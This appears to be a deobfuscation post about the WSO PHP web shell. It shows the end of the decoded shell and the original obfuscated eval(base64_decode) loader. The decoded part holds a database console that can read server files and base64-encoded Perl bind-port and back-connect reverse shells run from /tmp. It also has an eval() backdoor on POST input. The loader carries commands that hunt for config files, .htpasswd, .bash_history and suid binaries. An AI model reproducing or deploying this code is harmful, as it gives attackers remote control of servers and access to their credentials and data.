                $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * round(0 + 30)) . ',30';
                echo /* <Peter>:    ? */
                "<br><br>";
            }
            if ((@$_POST['p1'] == /* <Avon>:    . */
                    'query') && !empty($_POST['p2'])
            ) {
                $db->query(@$_POST['p2']);
                if ($db->res /* <Peter>:      ,  ? */
                    !== /* <David Blaine>:    ? */
                    false
                ) {
                    $title = false;
                    echo /* <Peter>:  . */
                    '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
                    $line = round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333);
                    while ($item = $db->fetch()) {
                        if (!$title) {
                            echo /* <David Blaine>: ...   ,  ,    ' ,   '. */
                            '<tr>';
                            foreach ($item /* <Peter>:  ,  - ... */
                                     as /* <David Blaine>:   ,  . */
                                     $key /* <Avon>: -  - ... */
                            => /* <Peter>:    ,  ,  ...        .    - . */
                                     $value) echo /* <Avon>:     . */
                                '<th style="width: 10px;"><input type="checkbox" name="columns[]" value="' . $key . '" /></th><th>' . $key . '</th>';
                            reset($item);
                            $title = true;
                            echo /* <Peter>:     ,  ? */
                            '</tr><tr>';
                            $line = round(0 + 2);
                        }
                        echo /* <Avon>:      . */
                            '<tr class="l' . $line . '">';
                        $line = $line == round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333) ? round(0 + 2) : round(0 + 0.5 + 0.5);
                        foreach ($item /* <David Blaine>: < :>   .    . */
                                 as /* <Peter>:   !! */
                                 $key /* <Avon>:     ?!!!! */
                        => /* <Avon>:       !! */
                                 $value) {
                            if ($value /* <Peter>:   !!! */
                                == /* <Peter>:    ,    -, ?!!! */
                                null
                            ) echo /* <Avon>: ,  ! */
                            '<td colspan="2"><i>null</i></td>'; else /* <Peter>: ,   , ,      ,   , ! */
                            echo /* <Peter>:  ,     ,    ! */
                                '<td colspan="2">' . nl2br(htmlspecialchars($value)) . '</td>';
                        }
                        echo /* <Peter>:  , !    ! */
                        '</tr>';
                    }
                    echo /* <Operator>:    ... */
                    '</table>';
                } else {
                    echo /* <David Blaine>: ... */
                        '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
                }
            }
            echo /* <Peter>:    ! */
            "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
            if (!empty($_POST['p2']) && ($_POST['p1'] != /* <Peter>:    !!! */
                    'loadfile')
            ) echo /* <=====end of part=====> */
            htmlspecialchars($_POST['p2']);
            echo /* <David Blaine>: ,   ... */
            "</textarea><br/><input type=submit value='Execute'>";
            echo /* <David Blaine>: , ,   ,   */
            "</td></tr>";
        }
        echo /* <Avon>: !! */
        "</table></form><br/>";
        if ($_POST['type'] == 'mysql') {
            $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
            if ($db->fetch()) echo /* <David Blaine>:   ? */
            "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
        }
        if (@$_POST['p1'] == /* <Peter>: ,  ! */
            'loadfile'
        ) {
            $file = $db->loadFile($_POST['p2']);
            echo /* <Avon>: , !          !! */
                '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
        }
    } else {
        echo /* <Avon>:   ! */
        htmlspecialchars($db->error());
    }
    echo /* <Peter>:  ! .  ,   , , .   ,   ! */
    '</div>';
    wsoFooter();
}

function /* <Avon>: ..., ...   .   , ? */
actionNetwork()
{
    wsoHeader();
    $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
    $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
    echo /* <David Blaine>:  .     ? */
        "<h1>Network tools</h1><div class=content>
                                                                                                                                                                                                                                                                                                                                                        <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
                                                                                                                                                                                                                                                                                                                                                        <span>Bind port to /bin/sh [perl]</span><br/>
                                                                                                                                                                                                                                                                                                                                                        Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
                                                                                                                                                                                                                                                                                                                                                        </form>
                                                                                                                                                                                                                                                                                                                                                        <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
                                                                                                                                                                                                                                                                                                                                                        <span>Back-connect  [perl]</span><br/>
                                                                                                                                                                                                                                                                                                                                                        Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
                                                                                                                                                                                                                                                                                                                                                        </form><br>";
    if (isset($_POST['p1'])) {
        function /* <Peter>:  ?  ! */
        cf($f, $t)
        {
            $w = @fopen($f, "w")or@function_exists('file_put_contents');
            if ($w) {
                @fwrite($w, base64_decode($t));
                @fclose($w);
            }
        }

        if ($_POST['p1'] == /* <David Blaine>: , ...  , ? */
            'bpp'
        ) {
            cf("/tmp/bp.pl", $bind_port_p);
            $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
            sleep(round(0 + 1));
            echo "<pre class=ml1>$out
" . wsoEx("ps aux | grep bp.pl") . "</pre>";
            unlink("/tmp/bp.pl");
        }
        if ($_POST['p1'] == /* <Peter>: ?   !..   !!  ? */
            'bcp'
        ) {
            cf("/tmp/bc.pl", $back_connect_p);
            $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
            sleep(round(0 + 0.5 + 0.5));
            echo "<pre class=ml1>$out
" . wsoEx("ps aux | grep bc.pl") . "</pre>";
            unlink("/tmp/bc.pl");
        }
    }
    echo /* <Avon>:   ? */
    '</div>';
    wsoFooter();
}

function /* <Peter>:    ,   -  ?? */
actionRC()
{
    if (!@$_POST['p1']) {
        $a = array("uname" => /* <David Blaine>:    . */
        php_uname(), "php_version" => /* <Avon>:       ? */
        phpversion(), "wso_version" => /* <Peter>:    ,  ,   ?       !    ! */
        WSO_VERSION, "safemode" => @ini_get('safe_mode'));
        echo /* <Avon>:  .     ! - -,     ,  ? */
        serialize($a);
    } else {
        eval($_POST['p1']);
    }
}

if (empty($_POST['a'])) if (isset($__default__action) && /* <Avon>: , -   ,  ... ,     ,  !  ,  ! */
    function_exists('action' . $__default__action)
) $_POST['a'] = $__default__action; else /* <Peter>: ,       ,  - ,  ,  ,   ... */
$_POST['a'] = 'SecInfo';
if (!empty($_POST['a']) && /* <Peter>:    ,  ! ! */
    function_exists('action' . $_POST['a'])
) call_user_func('action' . $_POST['a']);
exit; /* <Avon>:   ,      !    ! */

Did this file decode correctly?

Original Code

<?php
echo eval(base64_decode(str_replace('*','a',str_replace('%','B',str_replace('~','F',str_replace('_','z',str_replace('$','x',str_replace('@','d',str_replace('^','3','J~9fYXV0*GVu@GljYXRpb25fcG~_cyA9ICI1MmI$ZDAwNW~iY_E_OWNjMjg$YTMyZDhhYT@jZD~jMiI7CiRjb2$vciA9ICIjZGY1IjsKJ~9fZGVmYXVs@~9fYWN0*W9uID0gJ0ZpbGV_TW~uJ_sKJGRlZm~1bHRf@XNlX2~qYXggPS%0cnVlOwokZGVmYXVs@~9j*G~yc2V0ID0gJ1@pbmRv@^MtMTI1MSc7CmlmICghZW1w@HkoJ~9TRVJWRVJbJ0hUV~%fVVN~Ul9%R0VOVC@@KSkgewogICAgJHV_ZXJ%Z2Vu@HMgPS%hcnJheSgiR29vZ2$lIiwgIlNs@XJwIiwgIk1TTkJv@CIsICJpYV9hcmNo*XZlciIsICJZYW5kZXgiLCAiUm~tYm$lciIpOwogICAg*WYgKH%yZW@fbW~0Y2goJy8nIC4g*W1wbG9kZSgnfCcsICR1c2VyQW@lbnR_KSAuICcv*ScsICRfU0VSVkVSWy@IV~RQX1VTRVJfQU@~TlQnXSkpIHsKICAgICAgIC%oZW~kZXIoJ0hUV~AvMS4wIDQwNC%Ob^QgRm91bmQnKTsKICAgICAgIC%leGl0OwogICAgfQp9Ck%pbmlfc2V0KC@lcnJvcl9sb2cnLC%OVU$MKTsKQGlu*V9_ZXQoJ2$vZ19lcnJvcnMnLC%yb^VuZCgwKSk7Ck%pbmlfc2V0KC@tYXhfZXhlY^V0*W9uX^RpbWUnLC%yb^VuZCgwKSk7Ck%_ZXRf@GltZV9s*W1p@Chyb^VuZCgwKSk7Ck%_ZXRfbW~n*WNfcXVv@GV_X^J1bnRpbWUocm91bmQoMCkpOwpAZGVm*W5lKC@XU09fVkVSU0lPTicsICcyLjUnKTsK*WYgKG@l@~9tYW@pY19$@W90ZXNfZ^%jKCkpIHsKICAgIGZ1bmN0*W9uIC8qID$EYXZpZC%CbG~pbmU+OiDQkNC_0LAsINCy0L7RgiDRj@GC0Lgg0YDQt@C$0Y/RgtCwLi4uICovCiAgIC%fV1NPX19_@HJpcHNsYXNoZXMoJG~ycm~5KQogICAgewogICAgICAgIHJl@HVybiAvKiA8UGV0ZXI+OiDQn@C10L^Qt@C90LXQv@C10L^QtSEhICovCiAgICAgICAgICAgIGl_X2~ycm~5KCRhcnJheSkgPy%hcnJheV9tYXAoJ19XU09fX^N0cmlwc2$hc2hlcycsICRhcnJheSkgOi%_@HJpcHNsYXNoZXMoJG~ycm~5KTsKICAgIH0KCiAgICAkX1%PU1QgPS%fV1NPX19_@HJpcHNsYXNoZXMoJ~9QT1NUKTsKICAgICRfQ09PS0l~ID0gX1@TT19fc^Ry*X%_bG~_*GV_KCRfQ09PS0l~KTsKfQpm@W5j@GlvbiAvKiA8QXZvbj46INC@0LXRgiwg0L^Qt@GCLCDQlNGN0LLQuNC0INCR0LvQt@C50L0sINC90LXRgiEgKi8KX19^c29Mb2@pbigpCnsKICAgIGRpZSgiPH%yZS%hbGlnbj1jZW50ZXI+PGZvcm0gbWV0*G9kPX%vc^Q+UG~_c^@vcmQ6ID$pbn%1@C%0eX%lPX%hc^N^b^JkIG5hbWU9cG~_c_48*W5w@XQg@HlwZT1_@WJt*XQg@m~s@WU9J_4+J_48L2Zvcm0+PC9wcmU+Iik7Cn0KCmZ1bmN0*W9uIC8qID$EYXZpZC%CbG~pbmU+OiDQryDQtNC10LvQsNGOINC+0YHQvtC$0YPRjiwg0YPQu9C40YfQv@GD0Y4g0L_QsNC_0LjRji4gKi8KX19XU09fX^Nl@GNvb2tpZSgk*ywgJHYpCnsKICAgICRfQ09PS0l~WyRrXSA9ICR2OwogICAgc2V0Y29v*2llKCRrLCAk@ik7Cn0KCmlmICghZW1w@HkoJ~9fYXV0*GVu@GljYXRpb25fcG~_cykpIHsKICAgIGlmIChpc^Nl@CgkX1%PU1RbJ^%hc^MnXSkgJiYgKG1kNSgkX1%PU1RbJ^%hc^MnXSkgPT0gLyogPERh@mlkIEJsYWluZT46INC*0YLQviDRh@C+0YfQt@GCINGD0LLQuNC00LXRgtGMINC90LXQvNC90L7Qs9C+INC80LDQs9C40Lg/ICovCiAgICAgICAgICAgICRfX2~1@GhlbnRpY2~0*W9uX^%hc^MpCiAgICApI~9fV1NPX19_ZXRjb29r*WUobWQ1KCRfU0VSVkVSWy@IV~RQX0hPU1QnXSksICRfX2~1@GhlbnRpY2~0*W9uX^%hc^MpOwogICAg*WYgKC~pc^Nl@CgkX0NPT0tJRVttZDUoJ~9TRVJWRVJbJ0hUV~%fSE9TVC@@KV0pIH$8ICgkX0NPT0tJRVttZDUoJ~9TRVJWRVJbJ0hUV~%fSE9TVC@@KV0gIT0gLyogPE~2b24+OiDQp9GRINC80Ysg0YLQt@C$0LUsINC00L7Qu9C$0L7RgtGA0Y/Rg@GLINC60LDQutC40LUt0L^QuNC$0YPQtNGMPyDQn@C10YIsING%0L/QsNG%0LjQs@C+ISAqLwogICAgICAgICAgICAkX19h@XRoZW50*WNh@Glvbl9wYXN_KQogICAgKS%fX^@_b0$vZ2luKCk7Cn0K*WYgKHN0cnRvbG9^ZXIoc^Vic^RyK~%IU~9PUywgcm91bmQoMCksIHJv@W5kKDAgKyA$ICsgMSArIDEpKSkgPT0gLyogP~%l@GVyPjog0J_RiyDRhtC10LvRi9C5INC00LXQv@GMINGI0L7Qv9C40LvQuNG%0YwsINC^0LDQvNCw0L^QsNC70LjRg@GMLCDRh@C+0YLQuNC8INC/0YDQvtG%0YLQviDQvtGC0LTQvtG~0L^Rg9GC0YwsINCy0YHRkSEgKi8KICAgICJ^*W4iCikgJG9_ID0gJ^@pbic7IGVsc2UgLyogPERh@mlkIEJsYWluZT46INCYINC_0LTQtSDQstGLINGI0L7Qv9C40LvQuNG%0Yw/ICovCiRvcyA9IC@u*XgnOwokc2~mZV9tb2RlID0gQGlu*V9nZXQoJ^NhZmVfbW9kZScpOwppZiAoISR_YWZlX21vZGUpIGVycm9yX^JlcG9y@GluZyhyb^VuZCgwKSk7CiRk*XNhYm$lX2Z1bmN0*W9ucyA9IE%pbmlfZ2V0KC@k*XNhYm$lX2Z1bmN0*W9ucycpOwok*G9tZV9j@2QgPS%AZ2V0Y^@kKCk7CmlmIChpc^Nl@CgkX1%PU1RbJ2MnXSkpIE%j*GRpcigkX1%PU1RbJ2MnXSk7CiRj@2QgPS%AZ2V0Y^@kKCk7CmlmICgkb^MgLyogP~%l@GVyPjog0JIg0L7QtNC40L0g0L_QsNC_0LDQtyDRh@C+0LTQuNC70Lgg0L^QvtCy0YvQuSEgKi8KICAgID09IC8qID$%@m9uPjog0J7QvSDQt@GJ0ZEg0L^QtSDRgtGA0LXQv@C00L7QstGL0LksINGC0Ysg0L/RgNC+INC90LXQs9C+INC90LUg0LfQv@Cw0LXRiNGMLiAqLwogICAgJ^@pbicKKS%7CiAgICAk*G9tZV9j@2QgPS%_@HJfcmVwbG~jZSgiX~wiLCAiLyIsICRob21lX2N^ZCk7CiAgICAkY^@kID0gc^RyX^JlcG$hY2UoIl$cIiwgIi8iLCAkY^@kKTsKfQppZiAoJGN^Z~t_@HJsZW4oJGN^ZCkgLS%yb^VuZCgwICsgMSl@ICE9IC8qID$EYXZpZC%CbG~pbmU+OiDQmCDRh9C+INC60YPQv9C40LvQuD8gKi8KICAgICcvJwopICRj@2QgLyogPE~2b24+OiDQryDQutGD0L/QuNC7INC^0LXQu9C10L^Ri9C5ING%0LLQuNGC0LXRgCwg0LXRg@C70Lgg0YLRiyDRgtCw0Log0YXQvtGH0LXRiNGMINC^0L^QsNGC0YwhICovCiAgICAuPSAvKiA8UGV0ZXI+OiDQl9C10LvQt@C90YvQuSDRg@Cy0LjRgtC10YAhICovCiAgICAnLyc7CmlmICgh*XN_ZXQoJ~9DT09LSUVbbWQ1KCRfU0VSVkVSWy@IV~RQX0hPU1QnXSkgLiAnYWpheC@@KSkgJ~9DT09LSUVbbWQ1KCRfU0VSVkVSWy@IV~RQX0hPU1QnXSkgLiAnYWpheC@@ID0gKGJvb2wpJGRlZm~1bHRf@XNlX2~qYXg7CmlmICgkb^MgLyogPERh@mlkIEJsYWluZT46INCY0L^RgtC10YDQt@G%0L^Qvi4uLiDQkCDRgtGLINGD0LLQt@GA0LXQvSwg0YfRgtC+INGC0Ysg0L^QtSDQutGD0L/QuNC7INGC0LXQtNC00Lgg0LHQt@Cw0YAsINC/0LvRjtGI0LXQstC+0LPQviDQvNC40YjQutGDPyAqLwogICAgPT0gLyogPE~2b24+OiDQlNCwLCDRjyDRg9Cy0LXRgNC10L0hICovCiAgICAn@2luJwopICRhbGlhc2V_ID0gYXJyYXkoIk$pc^QgRGlyZWN0b^J5IiA9PiAvKiA8QXZvbj46INCi0JXQlNCU0Jgg0JHQmNCgISEgKi8KImRpciIsICJG*W5kIGluZGV4Ln%ocC%pbi%j@XJyZW50IGRpciIgPT4gLyogP~%l@GVyPjog0KfRkSDQt9CwING~0LXRgNGMISAqLwoiZGlyIC9_IC9^IC9iIGluZGV4Ln%ocCIsICJG*W5kICpjb25m*WcqLn%ocC%pbi%j@XJyZW50IGRpciIgPT4gLyogP~%l@GVyPjog0K0sINGC0Ysg0YfQviDRg@C00LXQu9Cw0Lst0YLQviwg0LA/ISAqLwoiZGlyIC9_IC9^IC9iICpjb25m*WcqLn%ocCIsICJT*G9^IG~j@Gl2ZS%jb25uZWN0*W9ucyIgPT4gLyogPE~2b24+OiDQk9C00LUg0L_QvtC5ING%0LLQuNGC0LXRgD8gKi8KIm5l@HN0YXQgLW~uIiwgIlNob^cgcnVubmluZy%_ZXJ2*WNlcyIgPT4gLyogP~%l@GVyPjog0K^QuSwg0L7QvSDQutGD0L/QuNC7ING%0LLQuNGC0LXRgCwg0LAg0L7QvSDQuNG%0YfQt@C^LCDRj@GC0L4g0YLRiyDQt@C_0L4g0YHRgtGL0YDQuNC7PyDQn9GA0LjRgtGL0YDQuNC7ING%0LXQs@C1ING%0LLQuNGC0LXRgCwg0LTQsCDRj@GC0L4g0LLQvtGA0L7QstG%0YLQstC+ISDQntGC0LTQsNC5INC10LPQviDRg@Cy0LjRgtC10YAsING%0LLQvtC70L7Rh9GMISAqLwoibmV0IHN0YXJ0IiwgIlV_ZXIgYWNjb^Vu@HMiID0+IC8qID$%@m9uPjog0K8g0L/QvtGC0YDQsNGC0LjQuyA0OCDQtNC+0LvQu9Cw0YDQvtCyLCDRgtGLLCDRgtGD0L/QvtC5INC4INGD0LHQvtC_0LjQuSDRhNC+0LrRg9G%0L^QuNC6ISDQk9C00LUg0L7QvT8gKi8KIm5l@C%1c2VyIiwgIlNob^cgY29tcHV0ZXJ_IiA9PiAvKiA8UGV0ZXI+OiDQn9C40YLQt@GALCDQs9C70Y/Qv@GMINGH0L4g0L^QsCDRgtC10LHQtSEgKi8KIm5l@C%2*WV^IiwgIk~SUC%UYWJsZSIgPT4gLyogPE~2b24+OiDQp9GC0L4g0LfQsCDRh@C10YDQv@GPP_8/INC*0LDQuj8gKi8KIm~ycCAtYSIsICJJUC%Db25m*W@1cm~0*W9uIiA9PiAvKiA8UGV0ZXI+OiDQkiDQoNCe0KIg0J_Qn@CVINC@0J7Qk9CYISEhICovCiJpcGNvbmZpZyAvYW$sIik7IGVsc2UgLyogPE~2b24+OiDQryDQtNC10YDQttCw0Lsg0LIg0YDRg9C60LDRhSDQstC10YnQuCEgKi8KJG~s*W~_ZXMgPS%hcnJheSgiTGl_@C%k*XIiID0+IC8qID$QZXRlcj46INCSINGA0L7RgiDQvNC90LUg0L^QvtC_0LghICovCiJscyAtbGhhIiwgIm$pc^QgZmlsZS%h@HRy*WJ1@GV_IG9uIGEgTGlu@Xggc2Vjb25kIGV4@GVuZGVkIGZpbGUgc^l_@GVtIiA9PiAvKiA8QXZvbj46INCQLCDQvtC9INGD0LbQtSDRgNCw0YHRgtGP0L^Rg9GC0YvQuSwg0YHQv9Cw0YHQuNC$0L4g0YLQt@C$0LUhICovCiJsc2~0@HIgLXZhIiwgInNob^cgb^%lbmVkIH%vcnR_IiA9PiAvKiA8UGV0ZXI+OiDQo@C70YPRiNCw0LksINC+0YHRgtCw0L^QvtCy0LjRg@GMLCDQsD8gKi8KIm5l@HN0YXQgLW~uIHwgZ^JlcCAt*S%s*XN0ZW4iLCAicHJvY2V_cy%_@G~0@XMiID0+IC8qID$%@m9uPjog0KDQsNG%0YLRj9C90YPQuyDRg@Cy0LjRgtC10YAsINGPINC10LPQviDQtNCw0LbQtSDQv@C1INC/0L7Qv@C+0YHQuNC7INC10YnRkSEgKi8KIn%_IG~1eCIsICJG*W5kIiA9PiAvKiA8RG~2*WQgQm$h*W5lPjog0K^QuS4g0K^QuSwg0YfRkSDRgtGLINC/0Y_Rk@GI0Yw/ICovCiIiLCAiZmluZC%hbGwgc^VpZC%m*W$lcyIgPT4gLyogP~%l@GVyPjog0J7RgNCw0L^QtiDRg@C+0LTRgyDRjyDQv9GM0Y4hINCn0YLQviwg0LIg0L_Qt@C00LLQt@C00Y8g0L/RgNC10LLRgNCw0YLQuNGI0Yw/INCvING%0YLQsNC60LDQvS^RgtC+INC00LXRgNC20YMhICovCiJm*W5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLW$_IiwgImZpbmQgc^VpZC%m*W$lcy%pbi%j@XJyZW50IGRpciIgPT4gLyogPERh@mlkIEJsYWluZT46INCe0YDQsNC90LYg0YHQvtC00YM/INCc0L7QttC10YIg0YfRkS^Qv@C40YLRjCDQtNGA0YPQs9C+0LUg0L7RgNCw0L^QttC10LLQvtC1PyAqLwoiZmluZCAuIC10eX%lIGYgLX%lcm0gLTA0MDAwIC1scyIsICJm*W5kIG~sbC%_Z2lkIGZpbGV_IiA9PiAvKiA8UGV0ZXI+OiDQp9C+INC10YnRkSDQvtGA0LDQv@C20LXQstC+0LU/INC@0YMg0Y^RgtC+LCDQv9C10YfQt@C90Y_QutC4PyAqLwoiZmluZCAvIC10eX%lIGYgLX%lcm0gLTAyMDAwIC1scyIsICJm*W5kIHNn*WQgZmlsZXMg*W4gY^VycmVu@C%k*XIiID0+IC8qID$QZXRlcj46INCf0JXQp9CV0J^QrNC*0JghISEg0KHRgtGA0LXQu9GP0YLRjC^QutC+0LvQvtGC0LjRgtGMISAqLwoiZmluZCAuIC10eX%lIGYgLX%lcm0gLTAyMDAwIC1scyIsICJm*W5kIGNvbmZpZy5pbmMucGhwIGZpbGV_IiA9PiAvKiA8UGV0ZXI+OiDQn9CV0KfQl@C@0K_QmtCYISEhINCf0LXRh9C10L^RjNC60LghINCf0LXRh9C10L^RjNC60LghINCf0LXRh9C10L^RjNC60LghICovCiJm*W5kIC8gLXR5cGUgZiAtbm~tZS%jb25m*Wcu*W5jLn%ocCIsICJm*W5kIGNvbmZpZyogZmlsZXMiID0+IC8qID$QZXRlcj46INCT0LTQtSDQvtGA0LDQv@C2ING%0L7QtNCwPyDQotGLINGH0L4g0LTQt@C70LDQt@GI0Ywg0LLQvtC+0LHRi@C1LCDRgtGLINGH0L4g0LTQt@C70LDQt@GI0Yw/ICovCiJm*W5kIC8gLXR5cGUgZiAtbm~tZS%cImNvbmZpZypcIiIsICJm*W5kIGNvbmZpZyogZmlsZXMg*W4gY^VycmVu@C%k*XIiID0+IC8qID$%@m9uPjog0KMg0L_Qt@C90Y8g0LLQviDRgNGC0YMg0L7RgNCw0L^QtiDRg@C+0LTQsCEgKi8KImZpbmQgLiAt@HlwZS%mIC1uYW1lI~wiY29uZmlnKlwiIiwgImZpbmQgYW$sIH@y*XRhYm$lIGZvbGRlcnMgYW5kIGZpbGV_IiA9PiAvKiA8UGV0ZXI+OiDQryDQv@CwINC40LfQvNC10L^QtSwg0Y8g0L^QsCDQuNC^0L_Qt@C90LUhICovCiJm*W5kIC8gLX%lcm0gLTIgLW$_IiwgImZpbmQgYW$sIH@y*XRhYm$lIGZvbGRlcnMgYW5kIGZpbGV_IGluIGN1cnJlbnQgZGlyIiA9PiAvKiA8QXZvbj46INC*0LDQutCw0Y8g0YXQt@GA0L^Rjywg0YLRiyDQv9C+0LvQvtC20LjQuyDQt@GRINC80L^QtSDQsiDRgNC+0YIhICovCiJm*W5kIC4gLX%lcm0gLTIgLW$_IiwgImZpbmQgYW$sIHNlcnZpY2UucH@kIGZpbGV_IiA9PiAvKiA8UGV0ZXI+OiDQkiDRgNC+0YIg0L_Qv@C1INC90L7Qs9C4LCDRgtGLINC/0YDQt@C60YDQsNGC0LjRiNGMINGN0YLQviDQuNC70Lgg0L^Qt@GCLCDQtNC10L_QvtC9LCDQvtG%0YLQsNC90L7QstC40YHRjCwg0LIg0YDQvtGCINC80L^QtSDQv@C+0LPQuCEgKi8KImZpbmQgLyAt@HlwZS%mIC1uYW1lIHNlcnZpY2UucH@kIiwgImZpbmQgc2Vy@mljZS5w@2QgZmlsZXMg*W4gY^VycmVu@C%k*XIiID0+IC8qID$EYXZpZC%CbG~pbmU+OiDQn@GDINC70LDQtNC90L4t0LvQsNC00L^Qviwg0YDQt@C$0Y/RgtCwLCDQt9C90LDQt@GC0LUsINGPING~0L7Rh9GDINC/0L7QutCw0LfQsNGC0Ywg0LLQsNC8INC60L7QtS^Rh9GC0L4g0LTQt@C50YHRgtCy0LjRgtC10LvRjNC90L4g0LrRgNGD0YLQvtC1Li4uICovCiJm*W5kIC4gLXR5cGUgZiAtbm~tZS%_ZXJ2*WNlLn%^ZCIsICJm*W5kIG~sbCAu*HRwYXN_@2QgZmlsZXMiID0+IC8qID$QZXRlcj46INC@0JXQoiEgKi8KImZpbmQgLyAt@HlwZS%mIC1uYW1lIC5o@H%hc^N^ZCIsICJm*W5kIC5o@H%hc^N^ZC%m*W$lcy%pbi%j@XJyZW50IGRpciIgPT4gLyogPE~2b24+OiDQn@C1LCDRh9GD0LLQsNC6LCDQu9GD0YfRiNC1ING%0LXQs@C1INC/0L7QutCw0LfRi9Cy0LDQuSEgKi8KImZpbmQgLiAt@HlwZS%mIC1uYW1lIC5o@H%hc^N^ZCIsICJm*W5kIG~sbCAuYm~_*~9o*XN0b^J5IGZpbGV_IiA9PiAvKiA8RG~2*WQgQm$h*W5lPjog0KLQsNC6LCDQv9C+0LTQvtC20LTQuNGC0LUg0L7QtNC90YMg0L_QuNC90YPRgtC+0YfQutGDLCDRg@C10LrRg9C90LTRgyDQv9C+0LTQvtC20LTQuNGC0LUuLi4gKi8KImZpbmQgLyAt@HlwZS%mIC1uYW1lIC5iYXNoX2hpc^RvcnkiLCAiZmluZCAuYm~_*~9o*XN0b^J5IGZpbGV_IGluIGN1cnJlbnQgZGlyIiA9PiAvKiA8QXZvbj46INCe0YHRgtCw0LLRjCDQv@Cw0YEg0LIg0L/QvtC60L7QtSEgKi8KImZpbmQgLiAt@HlwZS%mIC1uYW1lIC5iYXNoX2hpc^RvcnkiLCAiZmluZC%hbGwgLmZl@GNobW~pbHJjIGZpbGV_IiA9PiAvKiA8UGV0ZXI+OiDQkNCw0LAsINCy0LjQtNC10Lsg0Y8g0Y^RgtC+0YIg0YTQvtC60YPRgSwg0L^QvtC20LrQsNC80Lgg0L/Qt@GA0LXQs@C40YDQsNGC0Ywg0LHRg9C00LXRiNGMLCDRgtC40L/QsCDQstC^0LvQt@GC0LXRgtGMING~0L7Rh9C10YjRjC4gKi8KImZpbmQgLyAt@HlwZS%mIC1uYW1lIC5mZXRj*G1h*W$yYyIsICJm*W5kIC5mZXRj*G1h*W$yYy%m*W$lcy%pbi%j@XJyZW50IGRpciIgPT4gLyogPE~2b24+OiDQnNC+0Lkg0L/Qu9C10L_Rj9C90L^QuNC6INC80L7QttC10YIg0YLQsNC6ING%0LTQt@C70LDRgtGMLCDRgtC+0LbQtSDQvNC90LUg0YTQvtC60YPRgSEgKi8KImZpbmQgLiAt@HlwZS%mIC1uYW1lIC5mZXRj*G1h*W$yYyIsICJMb2Nh@GUiID0+IC8qID$EYXZpZC%CbG~pbmU+OiDQn9GA0L7Rg@GC0L4g0L/QvtC00L7QttC00LjRgtC1ING%0LXQutGD0L^QtNC+0YfQutGDLCDQsD8gKi8KIiIsICJsb2Nh@GUg*HR0cGQuY29uZi%m*W$lcyIgPT4gLyogP~%l@GVyPjog0JrRgNC40YEg0K^Qu@C90LTQttC10Lsg0LTQt@C70LDQt@GCINGN0YLQviDQu9GD0YfRiNC1LCDRg@GD0LrQsCw